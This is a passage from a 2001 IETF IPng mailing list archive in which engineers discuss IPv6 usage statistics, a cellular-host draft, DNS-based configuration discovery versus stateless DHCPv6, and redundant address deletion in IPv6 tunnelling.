From owner-ipng@sunroof.eng.sun.com Sat Dec 1 00:45:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB18jf1V023366 for ; Sat, 1 Dec 2001 00:45:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB18jfOt023365 for ipng-dist; Sat, 1 Dec 2001 00:45:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB18jb1V023358 for ; Sat, 1 Dec 2001 00:45:37 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA12302 for ; Sat, 1 Dec 2001 00:45:36 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA26982 for ; Sat, 1 Dec 2001 01:45:35 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id 05B5CD97CE; Sat, 1 Dec 2001 03:45:34 -0500 (EST) To: users@ipv6.org, 6bone@isi.edu, ipng@sunroof.eng.sun.com, ngtrans@sunroof.sun.com Subject: ad hoc list created to discuss v6 usage measurement From: "Perry E. Metzger" Date: 01 Dec 2001 03:45:33 -0500 Message-ID: <87pu5ze3bm.fsf@snark.piermont.com> Lines: 12 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I've been trying to get a bunch of statistics together on v6 usage growth and have found that few people are collecting serious statistics. I thought I'd start a small discussion on the subject -- accurate statistics are important to demonstrate that v6 is indeed deploying and that people should spend time and money on preparing and deploying their own networks. I've set up an ad hoc list, "metrics@ipv6.org" to host the discussion. Subscribe via majordomo@ipv6.org. Perry -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 03:50:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1Bo71V023526 for ; Sat, 1 Dec 2001 03:50:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1Bo6h7023525 for ipng-dist; Sat, 1 Dec 2001 03:50:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1Bo31V023518 for ; Sat, 1 Dec 2001 03:50:03 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA15855 for ; Sat, 1 Dec 2001 03:50:02 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA06427 for ; Sat, 1 Dec 2001 04:50:01 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1Bnx025913; Sat, 1 Dec 2001 13:49:59 +0200 Date: Sat, 1 Dec 2001 13:49:59 +0200 (EET) From: Pekka Savola To: cc: Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF5D91E9@esebe004.NOE.Nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 29 Nov 2001 john.loughney@nokia.com wrote: > A New Internet-Draft is available from the on-line Internet-Drafts > directories. > > > Title : Minimum IPv6 Functionality for a Cellular Host > Author(s) : J. Arkko et al. > Filename : draft-manyfolks-ipv6-cellular-host-02.txt > Pages : 26 > Date : 27-Nov-01 > > As an increasing number of cellular hosts are being connected to the > Internet, IPv6 becomes necessary. Examples of such hosts are GPRS, > UMTS, and CDMA2000 terminals. Standardization organizations are also > making IPv6 mandatory in their newest specifications, such as the IP > multimedia terminals specified for UMTS. However, the concept of > IPv6 covers many aspects, numerous RFCs, a number of different > situations, and is also partly still evolving. The draft says: --8<-- 4.1 Mobility Support in IPv6 [...] The basic functionality of a Correspondent Node, i.e. process the Home Address Option, MUST be supported by all hosts. (Note: at the time this Internet Draft has been written, the Home Address Option is defined only in the MIPv6 Internet Draft, not an RFC, and the security implications of the Home Address Option are being studied by the Mobile IP Working Group. The group is considering whether the option should continue to be understood by all nodes, or only those involved in Route Optimization functionality with a MN. Depending on the results of this discussion, we should either mandate the support of the option here for all cellular hosts, or only those capable of Route Optimization.) [...] --8<-- "basic functionality of a CN" has not been defined explicitly, IMO. The requirement that Home Address Option MUST be processed is nothing new; it's a requirement for every IPv6 node as currently being specified. Therefore, the requirement here must be stated more clearly. One could gather one of the basic funtionalities of a CN would be to be able to process incoming Binding Updates. What's your stand on this? Instead of saying basic functionality, say which functionality in the main sentence. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 04:18:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1CIH1V023555 for ; Sat, 1 Dec 2001 04:18:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1CIHIr023554 for ipng-dist; Sat, 1 Dec 2001 04:18:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1CID1V023547 for ; Sat, 1 Dec 2001 04:18:14 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA23862 for ; Sat, 1 Dec 2001 04:18:13 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA09555 for ; Sat, 1 Dec 2001 05:18:12 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1CIB426148 for ; Sat, 1 Dec 2001 14:18:11 +0200 Date: Sat, 1 Dec 2001 14:18:11 +0200 (EET) From: Pekka Savola To: Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: <200111281055.FAA28356@ietf.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 28 Nov 2001 Internet-Drafts@ietf.org wrote: > Title : IPv6 Stateless DNS Discovery > Author(s) : D. Thaler, J. Hagino > Filename : draft-ietf-ipngwg-dns-discovery-03.txt > Pages : 12 > Date : 27-Nov-01 > > This document specifies the steps a host takes in deciding how to > autoconfigure information (other than the host's name itself) > required for name resolution in IP version 6. The > autoconfiguration process includes determining whether such > information should be obtained through the stateless mechanism, > the stateful mechanism, or both. --8<-- Prefix String ----------------- -------------------------------------- fec0:0:0:1::/64 fec0_0000_0000_0001.local.arpa 3ffe:ffff:0:1234::/64 3ffe_ffff_0000_1234.local.arpa fe80::/64 fe80_0000_0000_0000.local.arpa Table 2: Example queries --8<-- Why do you suggest illegal DNS strings? Why not use a dash or a dot? Further, numerical representation is not very powerful; it may be that there is no need for all the flexibility though. Consider a site which has a /48 prefix with (2^16)/2 subnets (sequantially) which would use server 1 and the rest would use server 2: Now you would have to generate 2^16/2 entries like: 3ffe:ffff:0:0::/64 3ffe_ffff_0000_0000.local.arpa 3ffe:ffff:0:1::/64 3ffe_ffff_0000_0001.local.arpa 3ffe:ffff:0:2::/64 3ffe_ffff_0000_0002.local.arpa [...] 3ffe:ffff:0:7fff::/64 3ffe_ffff_0000_7fff.local.arpa and a wildcard which would match the rest. In real world, this should be doable with one 3ffe:ffff:0:0::/49 entry. There are more "realistic" applications of this too. Why wouldn't this be done as with ip6.int or ip6.arpa? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 04:53:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1CrW1V023579 for ; Sat, 1 Dec 2001 04:53:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1CrWqD023578 for ipng-dist; Sat, 1 Dec 2001 04:53:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1CrS1V023571 for ; Sat, 1 Dec 2001 04:53:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25366 for ; Sat, 1 Dec 2001 04:53:28 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU ([202.28.96.29]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA18518 for ; Sat, 1 Dec 2001 05:53:53 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fB1CqlR02865; Sat, 1 Dec 2001 19:52:47 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 Dec 2001 19:52:47 +0700 Message-ID: <2863.1007211167@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Sat, 1 Dec 2001 14:18:11 +0200 (EET) From: Pekka Savola Message-ID: | Why do you suggest illegal DNS strings? Why not use a dash or a dot? There is no such thing as an illegal DNS string (unless it is too long). Only domain names that can't be used in some other protocols, and these names aren't likely to be wanted for e-mail, or other stuff like that, so they're just fine with underscores (or control-g's, or even returns...) | Why wouldn't this be done as with ip6.int or ip6.arpa? That's a better question, but the draft does say that "local.arpa" is just a place holder until the actual domain is picked. More importantly, the CFG RR design is not well done, DNS RR's that hold lots of different data types, distinguished by something in the data itself are almost always a very very very poor idea. There is no shortage of DNS RR types - just assign a new RR type to each particular record that needs to be stored, and then if you really need to be able to fetch them all at once, define a meta-query that does that (but that's to be avoided if possible). And yes, I note that the draft also says that the CFG RR design is also just a placeholder... A more significant comment might be that there doesn't seem to be much advantage in using the DNS to store this kind of config info over using DHCP (DHCPv6). If some central admin is going to have to set it all up anyway, it is not really harder (in fact, it is generally much easier) to set it up in a dhcp server, than a DNS server. Easier, because DHCP servers group config info by topology, DNS servers group systems by admin boundary. Config info much more often is related to topology. That is, I find it a little hard to believe in a scenario when a local admin is going to be willing to configure lots of junk in the DNS, but wouldn't be willing to configure it in DHCP instead. It isn't as though either DNS or DHCP servers are hard to acquire - just about every reputable server comes with one of each. The use of DNS wildcards is also likely to lead to more trouble than you'd believe, that is a DNS "feature" that has much less applicability than most people who see it understand. It is very fragile, and not something to recommend to most people to attempt to use. Here the manageability of the design seems to depend upon that, which makes it flawed IMO. There really are just two scenarios to consider. Either there is some central management of all of this data, in which case it should be implemented using DHCP, which is designed for exactly this purpose (but which does not imply that the host needs to acquire its IPv6 address using DHCP, it can use autoconf for that, and DHCP for the rest if desired), or there is no central management for the data, in which case there won't be any place out there that the host can query and get back magic answers - it needs to do it all for itself (using only what is defined in the RFCs, like well known anycast addresses, multicast lookups, ...) kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 05:42:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1Dge1V023652 for ; Sat, 1 Dec 2001 05:42:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1DgetI023651 for ipng-dist; Sat, 1 Dec 2001 05:42:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1DgX1V023644 for ; Sat, 1 Dec 2001 05:42:33 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA28234 for ; Sat, 1 Dec 2001 05:42:33 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA03151 for ; Sat, 1 Dec 2001 06:42:15 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1DgBS26724; Sat, 1 Dec 2001 15:42:11 +0200 Date: Sat, 1 Dec 2001 15:42:11 +0200 (EET) From: Pekka Savola To: Robert Elz cc: Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: <2863.1007211167@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sat, 1 Dec 2001, Robert Elz wrote: > | Why wouldn't this be done as with ip6.int or ip6.arpa? > > That's a better question, but the draft does say that "local.arpa" is > just a place holder until the actual domain is picked. What I meant was, why use a mechanism that has no hierarchy? ip6.int does, ip6.arpa might be a bit trickier. I wouldn't care if the way to encode prefixes used there would be copied under local.arpa. This is after, local configuration knowledge, and it would be easier to restrict the visibility that way. > More importantly, the CFG RR design is not well done, DNS RR's that hold > lots of different data types, distinguished by something in the data itself > are almost always a very very very poor idea. There is no shortage of > DNS RR types - just assign a new RR type to each particular record that needs > to be stored, and then if you really need to be able to fetch them all at > once, define a meta-query that does that (but that's to be avoided if > possible). > > And yes, I note that the draft also says that the CFG RR design is also just > a placeholder... I think there was an argument by Rob Austein at IETF51 that TXT records not be used; I don't recall if he suggested to use SRV or invent your own. > A more significant comment might be that there doesn't seem to be much > advantage in using the DNS to store this kind of config info over using > DHCP (DHCPv6). If some central admin is going to have to set it all up > anyway, it is not really harder (in fact, it is generally much easier) > to set it up in a dhcp server, than a DNS server. Easier, because DHCP > servers group config info by topology, DNS servers group systems by admin > boundary. Config info much more often is related to topology. > > That is, I find it a little hard to believe in a scenario when a local > admin is going to be willing to configure lots of junk in the DNS, but > wouldn't be willing to configure it in DHCP instead. It isn't as though > either DNS or DHCP servers are hard to acquire - just about every reputable > server comes with one of each. There's one additional point to consider. DNS server is pretty much required; or so the draft assumes. Personally, for small sites, I disagree. With IPv6, one does not *need* to set up DHCP server (as much as with IPv4). It's apparent that the work is concentrating on making it possible to do certain basic DHCP-like things without DHCP server. If DHCP server existed in the network -- sure, it would be ok to put the data there. But one of the points here is to avoid adding DHCP server at all. The real question is: "are all of these configurables so critical that we should mandate DHCPv6 server in every network which would like to autoconfigure them?". IMO, the answer for at least some parts of the draft is "no, we shouldn't need DHCP for them". -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 05:59:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1DxO1V023707 for ; Sat, 1 Dec 2001 05:59:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1DxOFF023706 for ipng-dist; Sat, 1 Dec 2001 05:59:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1DxL1V023699 for ; Sat, 1 Dec 2001 05:59:21 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29871 for ; Sat, 1 Dec 2001 05:59:22 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA22857 for ; Sat, 1 Dec 2001 06:59:21 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1DxJ426806 for ; Sat, 1 Dec 2001 15:59:20 +0200 Date: Sat, 1 Dec 2001 15:59:19 +0200 (EET) From: Pekka Savola To: Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200111211159.GAA09927@ietf.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 21 Nov 2001 Internet-Drafts@ietf.org wrote: > A New Internet-Draft is available from the on-line Internet-Drafts directories. > > > Title : Redundant Address Deletion when Encapsulating IPv6 in > IPv6 > Author(s) : S. Deering, B. Zill > Filename : draft-deering-ipv6-encap-addr-deletion-00.txt > Pages : 6 > Date : 20-Nov-01 > > In some potentially common uses of IPv6-in-IPv6 encapsulation > ('tunneling'), a node that is performing an encapsulation or > decapsulation will also be the source or destination of the packet > being encapsulated. That can result in the same IPv6 address > appearing in both the outer (encapsulating) and inner (encapsulated) > IPv6 headers. This document specifies a method for deleting such > redundant addresses from an inner header when performing an > encapsulation, and restoring those addresses when decapsulating, > resulting in a 16-octet (128-bit) reduction in header overhead, > per address deleted. First a note about the applicability. Saving 16 or 32 bytes in the datagram is IMO basically irrelevant. What this introduces, though, is interesting: if this is used when inner/outer addresses should match in some way (difficult to check except in the decapsulating implementation, not good), one can get an assurance that no one is forging the addresses -- they're basically immutable. An example: IPv6_NO_SRC ==> dest address can be used for tunnel+spoofing IPv6_NO_DEST ==> source address can be used for tunnel+spoofing IPv6_NO_ADDRS ==> neither address can be used for tunnel+spoofing Note: IPv6_NO_ADDRS seems basically only usable if you want to: 1) trick hop limit to make every destination appear as on-link, the idea of this below 2) trick QoS related bits I already mentioned my main point, that is, hop limit. This issue should at least be discussed in some form if nothing else. It would be nice if there was a way to tunnel packets in such a way that the number of hops used for tunneling would be reflected in the internal datagram's hop limit. Usefulness? One could not trick those numerous "hop limit must be 255 checks". -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 06:12:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1ECp1V023726 for ; Sat, 1 Dec 2001 06:12:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1ECphN023725 for ipng-dist; Sat, 1 Dec 2001 06:12:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1ECl1V023718 for ; Sat, 1 Dec 2001 06:12:47 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA16776 for ; Sat, 1 Dec 2001 06:12:48 -0800 (PST) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA08315 for ; Sat, 1 Dec 2001 06:12:47 -0800 (PST) Received: from rdroms-w2k.cisco.com (rtp-vpn1-109.cisco.com [10.82.224.109]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA02370; Sat, 1 Dec 2001 09:05:09 -0500 (EST) Message-Id: <4.3.2.7.2.20011201085625.00b7ee10@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 01 Dec 2001 09:05:57 -0500 To: Pekka Savola From: Ralph Droms Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt Cc: Robert Elz , In-Reply-To: References: <2863.1007211167@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Check out . A DHCPv6 server for "stateless DHCPv6" (DHCPv6 without address assignment) need not impose a lot of administrative overhead for DNS configuration. - Ralph At 03:42 PM 12/1/2001 +0200, Pekka Savola wrote: >There's one additional point to consider. > >DNS server is pretty much required; or so the draft assumes. Personally, >for small sites, I disagree. > >With IPv6, one does not *need* to set up DHCP server (as much as with >IPv4). It's apparent that the work is concentrating on making it possible >to do certain basic DHCP-like things without DHCP server. > >If DHCP server existed in the network -- sure, it would be ok to put the >data there. But one of the points here is to avoid adding DHCP server at >all. > >The real question is: "are all of these configurables so critical that we >should mandate DHCPv6 server in every network which would like to >autoconfigure them?". > >IMO, the answer for at least some parts of the draft is "no, we shouldn't >need DHCP for them". > >-- >Pekka Savola "Tell me of difficulties surmounted, >Netcore Oy not those you stumble over and fall" >Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 06:22:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1EMB1V023757 for ; Sat, 1 Dec 2001 06:22:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1EMAqg023756 for ipng-dist; Sat, 1 Dec 2001 06:22:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1EM71V023749 for ; Sat, 1 Dec 2001 06:22:07 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA01909 for ; Sat, 1 Dec 2001 06:22:08 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU ([202.28.96.29]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA27911 for ; Sat, 1 Dec 2001 07:22:06 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fB1ELVR03137; Sat, 1 Dec 2001 21:21:31 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 Dec 2001 21:21:31 +0700 Message-ID: <3135.1007216491@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Sat, 1 Dec 2001 15:42:11 +0200 (EET) From: Pekka Savola Message-ID: | What I meant was, why use a mechanism that has no hierarchy? There are two issues there, one is the suffix - and yes, once that gets to be picked, it would probably be better if something more was added (even using local.arpa). But right now there are more important issues to consider than this. The other one is internal hierarchy in the address label part (below) | ip6.int does, ip6.arpa might be a bit trickier. Those two, and local.arpa, are completely different beasts. local.arpa is just a magic suffix that means "this data doesn't really live in the global DNS at all, but we want to leverage off the existing DNS servers to supply the data when we ask for it, so we need a domain name to tack on the end of the key to make it obvious what we're doing". | I wouldn't care if the way to | encode prefixes used there would be copied under local.arpa. I am guessing that no hierarchy was added there because of the wildcards. That's not really a justification, wildcards will work (as well as they ever do) when there is hierarchy in the names. That might even make config fractionally easier here, but it doesn't really make a huge difference. | This is | after, local configuration knowledge, and it would be easier to restrict | the visibility that way. local.arpa is restricted by definition (it is never delegated anywhere from the root (or .arpa) servers). | I think there was an argument by Rob Austein at IETF51 that TXT records | not be used; I don't recall if he suggested to use SRV or invent your own. Certainly using TXT would be even worse than the CFG as proposed. SRV would be something a bit different I think (though it would be intersting to contemplate whether it could be bent into serving this purpose). What's been done though is just re-invent TXT and give it another name. That separates out these uses from other uses of TXT (not that it probably matters for these particlar domain names), but otherwise is no different. | There's one additional point to consider. | | DNS server is pretty much required; or so the draft assumes. Personally, | for small sites, I disagree. Yes. That was more or less what I was saying - the hard part of this is to design something that works when there is no central database of any kind at all. As soon as you start assuming the existence of one, and hence something (or someone) to maintain it, half the complexity goes away (or rather is hidden - "the administrator" simply makes it all work...) | With IPv6, one does not *need* to set up DHCP server (as much as with | IPv4). That's certainly true. | It's apparent that the work is concentrating on making it possible | to do certain basic DHCP-like things without DHCP server. Yes, but that's a bogus goal. | If DHCP server existed in the network -- sure, it would be ok to put the | data there. But one of the points here is to avoid adding DHCP server at | all. Why? There's nothing magic about DHCP servers that make them something to be avoided. Installing a DHCP server is mostly just a matter of going to your server's "what daemons do I run" facility, and enabling it. It isn't running the DHCP server that some people want to avoid, it is doing the centralised data administration. That's just as true for a DNS server as it is for a DHCP server. If you're going to collect and maintain the data anyway, whether it is distributed via DHCP or DNS isn't going to bother anyone much. Or it wouldn't, if they really thought about it. (DHCP actually has a whole set of small advantages for things like this). | The real question is: "are all of these configurables so critical that we | should mandate DHCPv6 server in every network which would like to | autoconfigure them?". | | IMO, the answer for at least some parts of the draft is "no, we shouldn't | need DHCP for them". I agree with that. But the answer cannot be to require the same data served by the DNS instead. The replacement has to be to collect the data from a distributed system, with no central maintenance, just like IPv6 addresses are generated by the routers advertising prefixes, and the nodes generating the addresses. Or by a centralised server if the net prefers that method. It is the same kind of choice that needs to be permitted 